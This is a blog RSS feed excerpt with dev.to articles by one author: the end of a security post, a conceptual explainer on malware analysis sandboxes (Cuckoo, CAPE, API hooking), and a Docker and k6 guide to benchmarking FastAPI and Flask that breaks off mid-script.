&lt;p&gt;And remember the sandbox principle from my last article: always run unknown code or vulnerable apps inside isolated VMs (VirtualBox, VMware) or Docker containers. That way, even if you intentionally exploit a vulnerability, your main machine stays safe.&lt;/p&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this practical security guide, you might also like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;   &lt;a href="https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30"&gt; What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe dynamic malware analysis for files.&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;    &lt;a href="https://dev.to/mahdi0shamlou/how-to-benchmark-web-frameworks-in-a-fair-isolated-way-mahdi-shamlou-1mol"&gt;How to Benchmark Web Frameworks in a Fair, Isolated Way performance testing without noise.
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" alt="Mahdi Shamlou" width="800" height="1067"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;br&gt;
📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;br&gt;
📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>owasp</category>
      <category>security</category>
      <category>developer</category>
      <category>programming</category>
    </item>
    <item>
      <title>What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sun, 10 May 2026 09:00:43 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30</link>
      <guid>https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30</guid>
      <description>&lt;p&gt;Hi, &lt;strong&gt;&lt;a href="https://dev.to/mahdi0shamlou"&gt;Mahdi Shamlou&lt;/a&gt;&lt;/strong&gt; here. In this guide, I explain how malware analysis sandboxes work — from isolating an unknown .exe in a virtual machine to hooking Windows APIs and generating a behavior report. I also cover open‑source tools like Cuckoo and CAPE so you can safely detonate suspicious files without risking your real PC.&lt;/p&gt;

&lt;p&gt;You just downloaded a free PDF converter from a random forum. It’s an .exe file. The website looked legit, but... you're not 100% sure. You want to see what this program actually does when it runs. But running it directly on your own PC could cost you everything.&lt;/p&gt;

&lt;p&gt;What you need is a sandbox.&lt;/p&gt;

&lt;p&gt;In this article, I’ll explain what a sandbox is, why you need one, and exactly how it works behind the scenes to analyze an unknown executable and give you a full report.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhdfshuamy84pz8sys0u8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhdfshuamy84pz8sys0u8.png" alt="Mahdi Shamlou" width="623" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What Exactly Is a Sandbox?
&lt;/h2&gt;

&lt;p&gt;In cybersecurity, a sandbox is a security mechanism for separating running programs. It is often used to execute untested code, or untrusted programs from unverified third-parties, suppliers, untrusted users and untrusted websites.&lt;/p&gt;

&lt;p&gt;Think of it as a controlled, isolated environment where you can execute a suspicious file or piece of code without risking harm to your real operating system or personal files. It’s your digital quarantine zone where you can safely “detonate” a suspicious program to see what it does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Do We Use a Sandbox?
&lt;/h2&gt;

&lt;p&gt;The primary use case, and the one we’re focusing on today, is malware analysis:&lt;/p&gt;

&lt;p&gt;To run and test an unknown .exe file: When you have a potentially malicious executable, you don’t want to run it on your main machine. A sandbox provides the safe, isolated space to execute it, observe its behavior, and determine if it’s harmful.&lt;/p&gt;

&lt;p&gt;Security professionals use sandboxes to analyze suspicious objects in a Virtual Machine (VM) with a fully-featured operating system, detecting the object’s malicious activity by analyzing its behavior. This is known as dynamic analysis: instead of just looking at the file’s code (static analysis), you run the code and monitor its actions in real-time.&lt;/p&gt;

&lt;h2&gt;
  
  
  How a Malware Analysis Sandbox Works
&lt;/h2&gt;

&lt;p&gt;The process for analyzing an unknown .exe generally follows this straightforward workflow:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. You Submit the Input File&lt;/strong&gt;. You, the user, give the sandbox the suspicious .exe file as the input.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The Sandbox Isolates the File in a Virtual Machine (VM).&lt;/strong&gt; The sandbox system moves the file into a secure, isolated virtual machine environment. This is the “blast-proof chamber” where the analysis will take place. For each analysis, a fresh and isolated virtual machine can be launched to ensure nothing from a previous test contaminates the current one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The Analysis Begins (The File Is Executed).&lt;/strong&gt; The sandbox automatically runs (or detonates) the suspicious file inside this safe environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The Sandbox Analyzes Its Behavior.&lt;/strong&gt; While the unknown executable runs, the sandbox meticulously monitors all of its system-level activity. It’s watching for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File System Changes&lt;/strong&gt;: What files or folders does it create, modify, or delete?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process Creations&lt;/strong&gt;: Does it try to launch other hidden processes?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Registry Modifications (on Windows)&lt;/strong&gt;: Does it change critical system settings for persistence?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Traffic&lt;/strong&gt;: Does it try to “phone home” to a command-and-control server?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;You Get the Results.&lt;/strong&gt; After the analysis finishes, the sandbox compiles everything it observed into a detailed report for you. You can then review the report to determine if the file is malicious and understand exactly what it would have tried to do on your real system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1tv3n1jyhcdiqz2dijh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1tv3n1jyhcdiqz2dijh.png" alt="Mahdi Shamlou" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How Sandboxes Hook APIs
&lt;/h2&gt;

&lt;p&gt;So, how does a sandbox actually see everything a program is doing? This is the technical secret.&lt;/p&gt;

&lt;p&gt;When a running program wants to perform any action on your computer — like opening a file (CreateFile), sending data over the network, or creating a new process it makes a request to the Windows API. A malware analysis sandbox intercepts these requests using a technique called API hooking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It works like this&lt;/strong&gt;: the sandbox injects a small piece of code (a “hook”) into the program’s memory. This hook effectively reroutes the program’s API calls. When the suspicious program calls CreateFile to open a file, it doesn't go directly to the operating system. Instead, it is intercepted and redirected to the sandbox's own monitoring function. The sandbox logs all the details (e.g., a request to open "C:\Users\Admin\Documents\passwords.txt") and then, for true stealth analysis, passes the original call along to the real operating system so the malware's execution is not blocked. This allows the sandbox to see literally every single interaction the malware has with the operating system.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open-Source Sandboxes: Cuckoo and CAPE
&lt;/h2&gt;

&lt;p&gt;If you want to try this yourself, open-source tools are the way to go. Two of the most powerful and well-known platforms are Cuckoo and CAPE.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwh9mnr5g0qqv08s8rew.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwh9mnr5g0qqv08s8rew.jpg" alt="Mahdi Shamlou" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/cuckoosandbox/cuckoo" rel="noopener noreferrer"&gt;Cuckoo Sandbox&lt;/a&gt;&lt;/strong&gt;: This is the original, open-source automated malware analysis system. It safely executes and analyzes potentially malicious files in an isolated virtual machine and provides detailed reports on their behavior. It’s the foundation for many modern sandboxes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwspe3ce3u0vd9tt1jmq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwspe3ce3u0vd9tt1jmq.png" alt="Mahdi Shamlou" width="800" height="221"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/kevoreilly/CAPEv2" rel="noopener noreferrer"&gt;CAPE Sandbox (CAPEv2)&lt;/a&gt;&lt;/strong&gt;: CAPE (Config And Payload Extraction) began as a powerful fork of Cuckoo and is now the active, maintained successor to the original project. Its main goals are to add automated malware unpacking and configuration extraction. This is crucial because modern malware often uses “packers” to compress or encrypt its malicious code, making it harder to analyze. CAPE automates the process of unpacking it to see its real behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;CAPE is the best choice today because, unlike the original Cuckoo (which is no longer actively maintained), CAPE continues to improve and is the only remaining, actively supported open-source sandbox based on the original Cuckoo codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;A sandbox gives you a safe space to answer the ultimate question: “What will this .exe do if I run it?" It's an indispensable tool for anyone who downloads software from the internet. And with powerful, open-source platforms like CAPE, you have enterprise-grade malware analysis power available right on your own machine for free.&lt;/p&gt;

&lt;p&gt;If you’d like to get your hands dirty with Cuckoo Sandbox (the original, foundational project), check out this practical walkthrough:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@easypeazyo14/malware-analysis-using-cuckoo-sandbox-756616e6e85e" rel="noopener noreferrer"&gt;🔗 Malware Analysis Using Cuckoo Sandbox — Step by Step Guide&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;hat article covers installation, configuration, and running your first analysis.&lt;/p&gt;

&lt;p&gt;Have you ever run an unknown .exe in a sandbox? What tool did you use — Cuckoo, CAPE, or something else? Let me know in the comments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive, you might like my other article:&lt;/p&gt;

&lt;p&gt;If you’re interested in real-world, isolated benchmarking and want to see how different web frameworks (FastAPI, Flask, etc.) perform under controlled conditions, you might like this practical guide:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou/how-to-benchmark-web-frameworks-in-a-fair-isolated-way-mahdi-shamlou-1mol"&gt;How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" alt="Mahdi Shamlou" width="800" height="1067"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;br&gt;
📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;br&gt;
📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>security</category>
      <category>programming</category>
      <category>sandbox</category>
      <category>software</category>
    </item>
    <item>
      <title>How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sat, 21 Feb 2026 20:39:44 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/how-to-benchmark-web-frameworks-in-a-fair-isolated-way-mahdi-shamlou-1mol</link>
      <guid>https://dev.to/mahdi0shamlou/how-to-benchmark-web-frameworks-in-a-fair-isolated-way-mahdi-shamlou-1mol</guid>
      <description>&lt;p&gt;Hey everyone! Mahdi Shamlou here 👋  &lt;/p&gt;

&lt;p&gt;I’ve seen many posts online comparing web frameworks, but most of them are either &lt;strong&gt;biased, outdated, or hard to reproduce&lt;/strong&gt;.  &lt;/p&gt;

&lt;p&gt;So I wanted to share a &lt;strong&gt;practical way to benchmark any web framework&lt;/strong&gt;, keeping everything &lt;strong&gt;isolated, fair, and reproducible&lt;/strong&gt;.  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7csp2k2kv7c6oszg67m5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7csp2k2kv7c6oszg67m5.png" alt="Mahdi Shamlou" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ll use &lt;strong&gt;Docker&lt;/strong&gt; for isolation, &lt;strong&gt;k6&lt;/strong&gt; for load testing, and &lt;strong&gt;Python frameworks&lt;/strong&gt; — FastAPI and Flask — as simple examples. But the approach works for &lt;strong&gt;Node.js, Go, Java, Rust, or anything else&lt;/strong&gt;.  &lt;/p&gt;




&lt;h2&gt;
  
  
  Why Isolated Benchmarking Matters
&lt;/h2&gt;

&lt;p&gt;Benchmarking web frameworks can be tricky. Many factors affect results:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU &amp;amp; memory availability
&lt;/li&gt;
&lt;li&gt;Number of workers / threads
&lt;/li&gt;
&lt;li&gt;Background processes
&lt;/li&gt;
&lt;li&gt;Routing, logging, database, I/O
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To make a fair comparison, you need:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Docker containers&lt;/strong&gt; with fixed CPU &amp;amp; memory
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identical routes&lt;/strong&gt; or endpoints in each framework
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Controlled load tests&lt;/strong&gt; using k6 or similar tools
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Results saved&lt;/strong&gt; for later analysis
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 1 — Project Structure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;web_framework_benchmarks
&lt;span class="nb"&gt;cd &lt;/span&gt;web_framework_benchmarks
&lt;span class="nb"&gt;mkdir &lt;/span&gt;framework1 framework2 k6-tests results
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can replace framework1 and framework2 with any frameworks you want to compare.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Sample API Route
&lt;/h2&gt;

&lt;p&gt;For demonstration, we use a simple /hello endpoint.&lt;/p&gt;

&lt;p&gt;Python Example (FastAPI):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python Example (Flask):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jsonify&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can do the same in Node.js, Go, or Java, just keep the endpoint functionally identical.&lt;/p&gt;

&lt;p&gt;Optional: add a sleep route to simulate I/O/concurrent load.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gs8v8o44ne05mdos4uq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gs8v8o44ne05mdos4uq.png" alt="Mahdi Shamlou" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Dockerize Your Frameworks
&lt;/h2&gt;

&lt;p&gt;Here’s a funny story:&lt;/p&gt;

&lt;p&gt;At first, I ran FastAPI with just uvicorn… and I thought “Yeah, this will do.” But then I realized 🤦‍♂️&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If I run Flask with Gunicorn and FastAPI with Uvicorn alone, it’s like comparing a Ferrari to a bicycle… not fair! just fun!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So I fixed it: FastAPI + Gunicorn + UvicornWorker and 1 worker, exactly like Flask.&lt;/p&gt;

&lt;p&gt;FastAPI Dockerfile (Fair Version):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python:3.11-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;fastapi uvicorn gunicorn
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["gunicorn", "-k", "uvicorn.workers.UvicornWorker", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flask Dockerfile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python:3.11-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;flask gunicorn
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["gunicorn", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;✅ Now both containers have the same worker count, same CPU/memory limits — fair and square!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 4 — k6 Load Testing
&lt;/h2&gt;

&lt;p&gt;k6 scripts for each framework:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;k6/http&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;sleep&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;k6&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;stages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;30s&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;   &lt;span class="c1"&gt;// ramp-up&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;1m&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;   &lt;span class="c1"&gt;// hold load&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;30s&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;    &lt;span class="c1"&gt;// ramp-down&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;thresholds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http_req_duration&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;p(95)&amp;lt;200&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="c1"&gt;// 95% of requests should be &amp;lt;200ms&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
